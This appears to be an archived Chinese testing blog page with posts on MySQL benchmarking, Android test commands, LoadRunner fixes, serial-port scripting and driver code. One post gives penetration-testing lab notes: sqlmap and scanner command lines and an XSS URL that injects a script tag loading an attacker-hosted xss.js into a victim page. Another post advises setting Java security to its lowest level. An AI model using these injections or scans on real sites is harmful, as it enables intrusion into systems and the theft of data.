qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

黄金法则:MySQL基准测试最佳实践

 MySQL基准测试数据库性能优化中是一个非常重要的分支。本文目的在于让读者对关系型数据库系统有一个基本的了解,掌握MySQL以及如何管理使用Linux。文中讨论了MySQL性能因素以及如何测试CPU性能,同时使用具体的例子来展示几种实用的测试MySQL系统的实践方法。
  为什么数据库管理员要在MySQL系统上运行基准测试呢?答案显而易见,倘若在一个模拟的实时环境中系统设计能够承受住压力并且满足性能目标,那么数据库管理员也无需大费周章了。
  在深入了解MySQL基准测试程序机制前,弄清楚什么是基准测试,这一点非常重要。简单来说,基准测试是“运行计算机程序或操作行为,通过运行一些标准测试和一系列的映衬来评估对象的相对性能。”
  CPU基准测试主要用来测试硬件和运算能力,而软件基准测试更多的则是测试概念元素。
  在我们的案例中,软件基准测试中数据库管理系统基准测试是一个很好的例子。这种类型的测试目的是衡量数据库管理系统的吞吐量和响应时间。最终的测试结果会以分数显示,而这些分数主要用来比较。
  数据库管理员一般很难分清基准测试和压力测试之间的区别。这一点我们可以理解,因为这两种条件有着类似的目标,即数据库容量。两者明显的不同点在于:基准测试给出的结果,以数字呈现,能够允许你在每个基准测试和服务器/系统中调整设置,这是可以改变的,同时也能反应出数据库管理员是成功还是失败。而压力测试则是把系统推向极端边缘用以了解系统的极限有多大。
  由于本文重点讨论MySQL基准测试而非压力测试,所有后者我们不再进行讨论。在MySQL服务器运行基准测试时,性能因素是数据库管理员必须考虑的问题。那么,有哪些性能因素?答案就是:吞吐量,延迟时间和可扩展性。将这三个因素结合在一起,代表了MySQL服务器的整体性能。
  那么我们如何进行MySQL基准测试呢?为了获取正确的结果,请遵守以下一些规则:
  应该多次检查输入的数据;
  应该多次运行基准测试,至少5次;
  重新启动MySQL服务器以消除任何不必要的缓存因素;
  数据库管理员要有兴趣、认真对待进程。
  下面有几个影响基准测试的例子,我们在任何时候都应当避免这种情况出现:
  在一台单一的虚拟机上运行基准测试;
  不可忽视不同网络基础设施的影响;
  使用MySQL服务器默认设置;
  无需根据服务器配置特定的和独特的业务需求;
  无法消除缓存问题;
  运行基准测试时,忽视任何不必要的缓存问题。
  如何在MySQL上运行基准测试?
  在构建MySQL网站时把现有的技术文档增加到MySQL基准测试中,这是一个非常实用的基准测试功能。MySQL开发团队称,BENCHMARK ()函数常被用来测试MySQL进程有多快?它适用于MySQL客户端。
  详细功能显示如:BENCHMARK (count, expr): The BENCHMARK ()函数执行的表达式为expr重复计算次数。测试的结果值始终为0。基准测试最重要的数字出现在几秒钟时间内。如下图示例:

这里有一些技巧包括如何获得BENCHMARK () 函数正确结果。这几点如下:
  建议多次执行该函数;
  允许仅适用scalar表达;
  表达式必须返回单个列或单个行;
  该功能减少了由于网络或语法分析器而带来的干扰。
  使用SysBench
  MySQL的开发者建议使用一款流行的测试工具——SysBench(由MySQL开发者开发),这是一款多功能的工具允许数据库管理员测试CPU、文件IO以及MySQL性能。
  下面我们就来看下利用SysBench对CPU、MySQL进行基准测试。
  CPU性能
  用于CPU性能基准测试命令显示如下:该命令将启动一个进程并且产出大量的数字。
  sysbench --test=cpu --cpu-max-prime=20000 run
  然而,最重要的数字是以总的时间(以秒为单位)为主。利用所花费的时间来计算所需要的被测试的计算参数。这一点很重要,你可以用来对比基准测试在横跨多个系统时最有价值的数据。
  MySQL性能
  SysBench可以用来测量MySQL性能。要想做到这一点,首先我们可以在数据库‘monitis’中创建1,000,000行数据测试表。通过以下命令执行:
  sysbench --monitis=oltp --oltp-table-size=1000000 --mysql-db=monitis --mysql-user=root --mysql-password=yourrootsqlpassword prepare
  接着在MySQL基准测试中输入:
  sysbench --monitis=oltp --oltp-table-size=1000000 --mysql-db=monitis –mysql-user=root –mysql-password=yourrootsqlpassword –max-time=60 –oltp-read-only=on –max-requests=0 –num-threads=8 run
  当基准测试结果显示后,查看交易列表。这个值是以每秒为交换单位。
  为了确保所需要的基准测试在系统中能够很好的运行,这里只需要输入简单的命令:
  sysbench -- monitis =oltp --mysql-db= monitis --mysql-user=root --mysql-password=yourrootsqlpassword cleanup
  尽管可能会出现大量的MySQL性能基准测试类型,但上面的这些信息足够你使用了。
  结束语:
  MySQL性能测试针对不同的项目采用不同的解决方案。这是因为由不同的需求、时间,目标决定的。当然在MySQL系统上运行基准测试,就其技术本身而言在日常业务运作时也是非常必要的,希望这些实践对你有所帮助。



posted @ 2014-01-27 10:43 顺其自然EVO 阅读(229) | 评论 (0)编辑 收藏

Android 单元测试cmd 命令集

 对app进行单元测试时,或使用robotium进行黑盒测试时,需要把测试apk安装到模拟器或者android真机上,然后用命令去驱动测试
  1.运行测试程序命令-运行测试工程中所有test方法:
  >adb shell am instrument -w 测试程序packageName/android.test.InstrumentationTestRunner
  例如:
  >adb shell am instrument -w com.example.action02.test/android.test.InstrumentationTestRunner
  2.运行测试程序命令-运行测试工程中指定测试类方法:
  >abd shell am instrument -e class package.testClass(测试类) -w packageName/android.test.InstrumentationTestRunner
  例如:adb shell am instrument -e class com.example.action02.test.testlogin  -w com.example.action02.test/android.test.InstrumentationTestRunner
  3.运行测试程序命令-运行单个测试方法
  >adb shell am instrument -e class package.testClass#testmethod -w cpackageNameandroid.test.InstrumentationTestRunner
  例如:adb shell am instrument -e class com.example.action02.test.testloginandquit#testlogin  -w com.example.action02.test/android.test.InstrumentationTestRunner

posted @ 2014-01-24 16:15 顺其自然EVO 阅读(442) | 评论 (0)编辑 收藏

一次中间件结合业务的性能测试

开篇先扔一张图,下图是我本次测试对象的简单架构图:
  meeting
  先简单介绍下整个流程吧,我们根据图中画的来说(下文中说到的节点之后会讲):
  1、首先浏览器发出一个http请求至会管后台
  2、会管收到请求后向zookeeper的一个节点(数据节点)中写入消息(一般就是某种请求的消息)
  3、会议平台watch到zookeeper中该节点数据变化便从中把这条消息取出,并进行处理。注意:异步消息(我们应用大部分是异步消息)
  4、平台在取出zookeeper节点上的消息后会立即往zookeeper中的另外一个节点(数据节点)上写入消息(该消息表示我平台已经收到来自你会管的消息了)
  5、会管也会watch到这个节点的变化进而去读取这个消息,然后将该消息放入xmpp服务器,由xmpp推送给浏览器(当然,其实这个消息并没有什么实际意义)
  6、另外还有就是等平台处理完一开始会管的请求消息后(3中的消息),会再次推送处理结果后的消息(比如某个人被静音了,就会推送一串json数据,其中有标识说这个人被静音了)到zookeeper的状态节点(OK,先不要管他什么数据节点和状态节点)
  7、然后会管watch到后读取该数据并进行一系列封装和处理
  8、数据处理和封装完成后将数据放入xmpp服务器
  9、由xmpp服务器推送给浏览器,从而实现浏览器的实时状态
  OK,说到这里,基本的架构以及流程说完了。现在,有一个任务就是,会议管理界面上的某个按钮点击之后,“实时状态”感觉变化很慢。(比如我点击全部静音按钮,页面上与会人员的图标会显示出一个小图标表示被静音了,对,就是这个操作后,图标很久才显示出来,测试找出原因)
  如果交给各位读者这样的测试需求(当然,这个根本算不上需求,我就这么被忽悠了),读者朋友们会怎么进行这项测试呢??
  好了,各位,下面我给出我本次测试中采用的方法(如果觉得有更好的,请留言联系我!),先看图:
解决方案
  接下来我简单介绍下我这个类似“框架”的东西吧。
  1、首先初始化一个线程池
  2、线程一:使用smack包登录xmpp,监听所有消息,并过滤出我此次测试中需要的消息
  3、线程二:使用httpclient来模拟http请求并接收响应,并提取响应中的某些重要数据
  4、线程三:使用zookeeper的java客户端,连接我们的zookeeper服务器并设置节点的watcher
  5、线程四:收集前三个线程的数据,并附加时间戳
  只要将我们四个线程放入线程池中运行,即可。
  基本都已经介绍完了,如果有需要代码的童鞋也可留言回复哦(注:本次测试脚本有效代码量在2K行左右)~

posted @ 2014-01-24 16:15 顺其自然EVO 阅读(287) | 评论 (0)编辑 收藏

关于android/ios开发中的单元测试

很多开发人员,特别是小公司的开发人员,基本上从来不用单元测试,认为直接开发既快又好,还要做单元测试浪费时间和精力。但大公司相反,比较看重单元测试。因为有单元测试的代码,相对稳定可靠,而且如果开发人员习惯了以测试为驱动的开发,也会觉得这样的方式很不错。
  以测试为驱动的开发模式是:开发之前,先想好要做什么,然后把对外的接口设计好,就可以先写单元测试的代码。之后再进行实际代码的开发,开发完成之后,再跑一遍之前写的单元测试,如果失败则调试,直到最终成功,会让开发人员特有成就感。
  单元测试也特别适合于敏捷开发,开发新的功能以后,你不知道会不会对以前已经稳定的功能产生影响。当然你可以手工测试一下,但一次两次手工测试没问题,多了就会发现还是单元测试好,自动跑一遍就行,更符合程序员善于使用工具的优秀品质。
  单元测试的工具,Android上使用junit加上ant脚本配合,ios上使用ocunit或者ghunit。虽然工具不同,但思想类似。
  当然,并不是所有项目都一定要做单元测试最好。本人以前的项目,有用单元测试的,也有不用的,这里总结一下使用单元测试的2个原则。
  1. 项目的规模原则。 如果是小项目,开发完就扔给客户,后期基本不用维护。那就偏向于直接开发,极快又好,你做得单元测试再多客户也看不见,做的快还能被客户夸。如果是大项目,你做第n个模块的时候,第1个模块的细节已经忘得差不多了,那这时候有单元测试可以帮助你确认前面模块的可靠性。
  2. 因人而异原则。每个人的开发水平和性格不一样,有些人天性谨慎,开发的代码bug比较少,有些人比较粗放,bug就相对比较多。有了bug就需要测试和调试,当测试和调试的时间大于开发的时间时,建议下个项目使用单元测试模式开发。单元测试可以尽早让你发现代码中的问题,bug越早发现越容易解决。

posted @ 2014-01-24 16:14 顺其自然EVO 阅读(376) | 评论 (0)编辑 收藏

驱动程序测试问题

为什么我的测试程序测试不成功?
  测试程序的CreateFile的返回值-1, GetLastError 错误码是123(文件名、目录名或卷标语法不正确。)
  我的驱动程序加载后用winObj是可以查看到FirstDevice的 ,测试程序运行时就是失败 ???
  代码:
  驱动程序:
#include "ntddk.h"
NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject);
NTSTATUS CreateComplateRoutine(PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
NTSTATUS ReadComplateRoutine(PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
NTSTATUS WriteComplateRoutine(PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
NTSTATUS CloseComplateRoutine(PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
VOID MyDriverUnoad(PDRIVER_OBJECT pDriverObject);
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
NTSTATUS status;
status = CreateDevice(pDriverObject);
KdPrint(("CreateDevice."));
if (!NT_SUCCESS(status))
{
KdPrint(("Create device faild."));
}
else
{
KdPrint(("Create device success."));
KdPrint(("%wZ", pRegistryPath));
}
pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateComplateRoutine;
pDriverObject->MajorFunction[IRP_MJ_READ] = ReadComplateRoutine;
pDriverObject->MajorFunction[IRP_MJ_WRITE] = WriteComplateRoutine;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseComplateRoutine;
pDriverObject->DriverUnload = MyDriverUnoad;
return STATUS_SUCCESS;
}
NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pDevObj;
UNICODE_STRING usDevName;
UNICODE_STRING usSymName;
RtlInitUnicodeString(&usDevName, L"\\Device\\FirstDevice");
RtlInitUnicodeString(&usSymName, L"\\??\\FirstDevice");;
status = IoCreateDevice(pDriverObject,
0,
&usDevName,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&pDevObj);
pDevObj->Flags |= DO_BUFFERED_IO;
if (!NT_SUCCESS(status))
{
KdPrint(("IoCreateDevice faild."));
return status;
}
status = IoCreateSymbolicLink(&usSymName, &usDevName);
if (!NT_SUCCESS(status))
{
KdPrint(("IoCreateSymbolicLink faild."));
IoDeleteDevice(pDevObj);
return status;
}
return STATUS_SUCCESS;
}
NTSTATUS CreateComplateRoutine (PDEVICE_OBJECT pDeviceObj, PIRP pIrp)
{
NTSTATUS status;
status = STATUS_SUCCESS;
KdPrint(("Create"));
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return status;
}
NTSTATUS ReadComplateRoutine (PDEVICE_OBJECT pDeviceObj, PIRP pIrp)
{
NTSTATUS status;
status = STATUS_SUCCESS;
return status;
}
NTSTATUS WriteComplateRoutine (PDEVICE_OBJECT pDeviceObj, PIRP pIrp)
{
NTSTATUS status;
status = STATUS_SUCCESS;
return status;
}
NTSTATUS CloseComplateRoutine (PDEVICE_OBJECT pDeviceObj, PIRP pIrp)
{
NTSTATUS status;
status = STATUS_SUCCESS;
return status;
}
VOID MyDriverUnoad(PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING usSymName;
RtlInitUnicodeString(&usSymName, L"\\??\\FirstDevice");
if (pDriverObject->DeviceObject != NULL)
{
IoDeleteSymbolicLink(&usSymName);
IoDeleteDevice(pDriverObject->DeviceObject);
KdPrint(("Delete device success!"));
}
}
 测试程序:
  代码:
void CTestMyFirstDriverDlg::OnBnClickedButton1()
{
// TODO: Add your control notification handler code here
HANDLE hFile = CreateFile(L"\\??\\FirstDevice",
FILE_ALL_ACCESS,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
int err = GetLastError();
MessageBox(L"Create File error!");
}
CloseHandle(hFile);
return;
}

posted @ 2014-01-24 16:13 顺其自然EVO 阅读(208) | 评论 (0)编辑 收藏

PySerial-对测试人有帮助的Python串口开发模块

  我不知道有多少测试人是做通信行业的,串口调试几乎成为了每一个通信行业测试人的必备技能,最起码你得懂得插上串口线,然后打开超级终端去进行Boot级调试,支持串口调试的设备为我们提供了一个很好的跟硬件直接交互的接口,除了实时交互,有时候我们还需要完成一些复杂的任务,比如在串口下跑上若干个测试用例试试?
  那么PySerial是一个非常不错的选择,它支持多平台,提供了文档支持,接口非常齐全。
  来看一个简单的例子:
import serial
def hexShow(argv):
result = ''
hLen = len(argv)
for i in xrange(hLen):
hvol = ord(argv[i])
hhex = '%02x'%hvol
result += hhex+' '
print 'hexShow:',result
t = serial.Serial('com12',9600)
print t.portstr
strInput = raw_input('enter some words:')
n = t.write(strInput)
print n
str = t.read(n)
print str
hexShow(str)
  工具首页
  http://pyserial.sourceforge.net/

posted @ 2014-01-24 16:11 顺其自然EVO 阅读(450) | 评论 (0)编辑 收藏

Loadrunner加载日历控件提示“应用程序已被阻止”

 打开LoadRunner示例程序webtours的“Find Flight”界面,出现日历控件无法加载,点击控件弹出图示信息
  或者出现以下信息
  解决方案:
  打开 控制面板/程序/Java/安全/安全级别调到最低
  问题解决:

posted @ 2014-01-24 16:10 顺其自然EVO 阅读(1150) | 评论 (1)编辑 收藏

Loadrunner11无法启动IE的解决办法

最近安装了loadrunner 11 想录制一个脚本,但是在录制的时候总是无法打开IE浏览器,现象表现为Recording(0 events),在网上找了很多资料有的可以有的不可以,在这里我把我找到的一些评价比较高的资料和大家分享一下。
  1、ie浏览器去掉启用第三方浏览器扩展
  2、loadrunner11 键盘F4,在browser Emulation点击change,在弹出的提示框中Browser version 选择8.0,platform. 选择windows7
  虽然进行了设置,但是每次启动的时候都会重新改为原来的设置,不知道是不是我这是破解版的原因

  虽然进行了设置,但是每次启动的时候都会重新改为原来的设置,不知道是不是我这是破解版的原因
  3、loadrunner11 键盘ctrl+F7在弹出的提示框中选择最后一项Correlation,将Enable correlation during recording 下面的勾全去掉,有需要的再勾
  4、计算机——属性——高级系统设置——性能里的设置——数据执行保护——选择“为除下列选定程序之外的所有程序和服务启用”——添加IE浏览器——应用——确定
  还有就是设置IE为默认浏览器
  最后无论我怎么折腾IE就是不弹出来,最后我觉得看看IE的版本是不是IE8,因为我两周前的版本是iE8所以就没有去看IE版本,但是当我查看IE版本的时候发现IE居然默默的升到了IE11,难怪怎么也不能弹出来呢。、
  最后IE不能用了,只好换成使用firefox录制脚本了。
  使用loadrunner录制脚本一定要看好IE版本哈 ~

posted @ 2014-01-24 16:09 顺其自然EVO 阅读(2807) | 评论 (0)编辑 收藏

常用渗透测试工具使用tips

 前几日,对常用的渗透测试工具摸了一把,主要是针对sql注入和XSS,抓了些包,现在把常用渗透测试工具使用时候的应该注意的东东记录了下来,年纪大了,不写容易忘~
  欢迎大家指正~
  常用渗透测试工具使用tips
  ---byyd0str
  1.BT5VM版本
  在/pentest/web下面,常用penetrationtest工具
  综合测试攻击
  (1)w3af(抓了些包,看着效果不好)
  (这个配置也非常的恶心,尤其是表单认证内容,拿DVWA做测试,web.spider爬取的内容有问题,全站爬取,不会从指定起始页码爬起)
  下面是表单认证的具体步骤:
1auth--detailed
username:admin
password:admin
method:POST
auth_url:http://192.168.184.141/dvwa/login.php
username_field:user(这两个地方填错了多次,因为表单那个地方的name有几处,还是有待进一步注意)
password_field:pass
check_url:http://192.168.184.141/dvwa/index.php
check_string:admin
data_format:username=%U&password=%P&Login=Login
  这时候如果只选中auth这个认证,然后web.spider,会提示登陆是否正确
  (https://www.owasp.org/index.php/Automated_Audit_using_W3AF
  http://w3af.org/howtos/authenticated-scans
  http://www.91ri.org/5782.html
  http://www.91ri.org/3117.html)
  (2)burpsuite(这个也有单独版本,如果觉得BT下不好使,可以单独使用)
  本身不属于渗透测试工具,但是可以结合别的工具使用,这里抓了暴力破解用户名密码的包
  (3)skipfish(名人所写,但是据说效果不是很好)
  下面这个是用skipfish扫描dvwa的过程,但是好像是全站爬取,量太大,就暂停了扫描,效果不好
  ./skipfish-odvwa-C"security=high;PHPSESSID=taj2jhiqba3j0fs50pa7f1rb20"-S"dictionaries/complete.wl"-W"dictionaries/webgoat.wl"http://192.168.184.141/dvwa/vulnerabilities/
  (4)zap(暂时没有测试,国外黑客对这个也比较有兴趣,也是常用的工具)
  经典XSS攻击平台
  (5)xsser(http://www.91ri.org/2740.html)注入工具大都是针对有参数的URL
  这个是针对带有参数的,要看代码
  (6)beef(抓了包,从包上看是带有beef指纹的,但是内容是加密的,具体的原理要看代码才能知道了https://github.com/beefproject/beef)
  BT5下的打不开,出错
  直接运行BT5下面的beef报错如下:、
/root/beef/core/loader.rb:18:in`require':nosuchfiletoload--bundler/setup(LoadError)
from/root/beef/core/loader.rb:18:in`<top(required)>'
from./beef:42:in`require'
from./beef:42:in`<main>'
  上网找了一下,发现是环境变量的原因。
  用如下方法再次安装bundler
  geminstall-–user-installbundler
  此时刻运行,还是会报一个错,为
root@bt:/pentest/web/beef#./beef
Couldnotfindgem'eventmachine(=0.12.10)ruby'inthegemsavailableonthismachine.
Run`bundleinstall`toinstallmissinggems.
  然后继续运行:bundleinstall
  然后在执行beef
  (http://m.blog.csdn.net/blog/xihuanqiqi/17091067攻略,很详细,xsser.meforSAE)

字体:        | 上一篇 下一篇 | 打印  | 我要投稿 

  (7)sqlmap(python脚本学习下)
  经典sql注入工具
  (这种针对参数的工具,不知道是不是扫描方式有问题,还是怎么着,怎么才能抓几个包,或者把常用点的包抓出来)
  抓几个sqlmap的包
  sqlmap功能很强大,这里就抓了一个结合burpsuitePOSTsqlmap的包(也可以用Burpsuitesqlmap插件http://www.freebuf.com/tools/6426.html)
  命令:
  1.先用burpsuite拦截一个网站(包里用的是wvs的测试网站http://testasp.vulnweb.com/Login.asp)的post请求,然后将这个请求存下来,比如保存为burpsuite_sql_post.txt
  2.sqlmap.py-r"burpsuite_sql_post.txt"-ptfUName(或者tfUPass)
  综合扫描系列
  2.wvs(192.168.184.135)
  WVS(WebVulnerabilityScanner)是一个自动化的Web应用程序安全测试工具,它可以扫描任何可通过Web浏览器访问的和遵循
  如果在windows下用wireshark抓包,记得用命令形式
  如:tshark-D(找出网卡)
  tshark-i网卡号-bfilesize:10240(10M)-w"xxxxx.pcap"以10M一个包保存,还有其他功能,比如根据时间,存几个包,可以参考命令说明
  这个包存了一大批(4,500)
  3.nessus4.x(5.x版本不好用)(192.168.184.135)
  Nessus开源漏洞扫描与分析软件。
  账户名密码:xxxx,xxxxx
  这个扫描需要登录验证的页面,比较复杂,参考这个链接,但是效果不好
  https://www.owasp.org/images/4/4f/Web_Application_Vul_Testing_with_Nessus_2012.02.01.pdf
  抓出来3个包
  从包中来看,应该是能登录进去的,但是后面的链接爬取好像有问题,效果不太好
  4.WebCruiserEnt(已经抓包,还有log192.168.184.130)
  Web安全扫描工具WebCruiser-WebVulnerabilityScanner
  Web应用漏洞扫描器,能够对整个网站进行漏洞扫描,并能够对发现的漏洞(SQL注入,跨站脚本,XPath注入等)进行验证;它也可以单独进行漏洞验证,作为SQL注入工具、XPath注入工具、跨站检测工具使用
  5.appscan不好配置,webgoat虚拟下容易被打挂,需要经常重启,所以先抓了一个大概的包,payload信息应该是全的
  配置的时候需要记得登录验证的地方(192.168.184.135)
  http://public.dhe.ibm.com/software/dw/cn/demos/rIntroToAppScan/rIntroToAppScan.pdf
  http://www.nxadmin.com/tools/675.html
  http://www.360doc.com/content/11/0831/10/284310_144677089.shtml
  6.safe3wvs抓了一个,包的数量不多,扫webgoat有几个漏洞(192.168.184.135)
  这个扫描之前,需要注意输入验证用户名密码的输入,还有cookie的输入,这个地方用temperdata截取了cookie放在了这里
  才能扫出结果
  SQL注入,XSS专业平台
  7.XenotixXSSExploitFrameworkV4(已经抓包,需要写个使用文档,在宿主机本机上)
  owasp出品,检测和利用WEB应用程序中的XSS漏洞的渗透测试工具。这个工具可以将代码注入到含有xss漏洞的web页面中
  注意事项:先配置服务端,就是一个本地的IP,比如4.5版本的会默认的127.0.0.1:5050
  这个地方是为了配置一个动态的脚本,该脚本在该框架中的用处我们下边会进行介绍(youtube上有视频)
  1.首先利用该框架,对victim(受害者)网站进行url的注入扫描,就是对参数进行攻击串的扫描,如果哪个浏览器框架会体现出存在的XSS点,就会弹弹弹
  这一部分其中是用不到开始配置的那个本地服务的js脚本的
  2.如果有个地方经过上面或者其他方式验证,存在XSS点,那么就可以插入本地这个配置的脚本了,比如
  存在XSS点为http://192.168.184.135/aa.php?id=1
  如果这个id参数存在XSS威胁,那么可以就是这么插入
  http://192.168.184.135/aa.php?id=1<script>127.0.0.1:5050/xss.js</script>
  这样就可以利用该框架的包括一些命令执行的功能了,相当于让远程victim网站加载了本地的JS脚本,进行语句执行
  8.Havij(已经抓包,还有log192.168.184.130)
  Havij是一款自动化的SQL注入工具
  (这种工具主要用来配合综合扫描工具(比如经典的配合safe3wvs,然后在配合旁注工具,找到后台,然后用该工具跑出的用户名密码进行登录后台),
  或者对可疑注入点进行注入使用)
  但是对dvwa的注入点进行扫描的时候,没有找到注入点
  9.wapiti(python脚本学习下)(已经抓包,还有log192.168.184.130)
  sql注入工具
  工具3.x版本是个exe,看不到py,可以看看原始的python脚本
  这是一个轻量级的web扫描工具,具说可以识别文件处理错误、SQL、LDAP及CRLF类注入攻击,跨站脚本攻击、检查潜在的命令执行。wapiti是由python语言开发的,因此支持的平台也很广泛,安装pythonvm是可以了
  1.通过扫描dvwa来看,效果不好,
  (1)(有登陆,首先进行获取cookie值,该软件自带一个获取cookie的工具,存成json形式,这个跟以前的版本不太一致)
  C:\xxx\software\wapiti-2.3.0-win32-standalone\wapiti-2.3.0-win32-standalone>wapiti-getcookie.execookie.jsonhttp://192.168.184.141/dvwa/
  (2)带着cookie去扫描,-s的内容好像是可能起始页,从包上来看,可以在该目录下遍历
  C:\dd\software\wapiti-2.3.0-win32-standalone\wapiti-2.3.0-win32-standalone>wapiti.exe"http://192.168.184.141/dvwa/"-ccookie.json-s"http://192.168.184.141/dvwa/vulnerabilities/"
  (3)从攻击包分析看,是对链接拼接了一些串,(http://lzy.iteye.com/blog/338178说不像nikto提供测试用例库,而是实现了内置的匹配算法)
  但从包上看,大概是一些关键的字符串,具体的所谓的匹配算法还要去看py脚本内容
  (4)如果输入的url不带参数,就是直接在url后拼接,如果带参数输入命令的话,可以在参数后进行跑
  C:\dd\software\wapiti-2.3.0-win32-standalone\wapiti-2.3.0-win32-standalone>wapiti.exe"http://192.168.184.141/dvwa/"-ccookie.json-s"http://192.168.184.141/dvwa/vulnerabilities/sqli/?id="
  总体效果不好,没有找到漏洞点,反而找到了一个login.php的SQL注入
  扫描testfire效果好些还可以
C:\xxxx\software\wapiti-2.3.0-win32-standalone\wapiti-2.3.0-win32-standalone>wapiti-getcookie.execookie.jsonhttp://demo.testfire.net/bank/login.aspx
C:\xxx\software\wapiti-2.3.0-win32-standalone\wapiti-2.3.0-win32-standalone>wapiti.exehttp://demo.testfire.net/-ccookie.json-xhttp://demo.testfire.net/bank/logout.aspx
  10.pangolin(没测)
  穿山甲,注入攻击

posted @ 2014-01-24 16:08 顺其自然EVO 阅读(2144) | 评论 (0)编辑 收藏

使用Java向properties存数据

package writeToProperties;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Properties;
public class WriteToProperties {
public void addUser(String name,String password){
FileInputStream fis = null;
Properties pro = new Properties();
/*
* 用程序对properties做修改,先将properties加载到内存中
*/
try {
fis = new FileInputStream("user.properties");//初始化输入流
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
pro.load(fis);  //加载
} catch (IOException e) {
e.printStackTrace();
}
pro.setProperty(name, password);   //修改properties
/*
* 将改动后的properties写回硬盘
*/
FileOutputStream fos = null;
try {
fos = new FileOutputStream("user.properties");  //初始化一个输出流
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
pro.store(fos,"#");        //写回硬盘
} catch (IOException e) {
e.printStackTrace();
}
try {
fis.close();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
WriteToProperties wtp = new WriteToProperties();
wtp.addUser("lucy", "123");
wtp.addUser("lily", "123");
}
}
  注意:初始化IO流会占用系统资源,所以用完后需要关闭所有流,否则会浪费系统资源
  说明:user.properties位于工程目录下。
  步骤:先加载,再修改,后保存。

posted @ 2014-01-24 16:06 顺其自然EVO 阅读(214) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 155 156 157 158 159 160 161 162 163 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜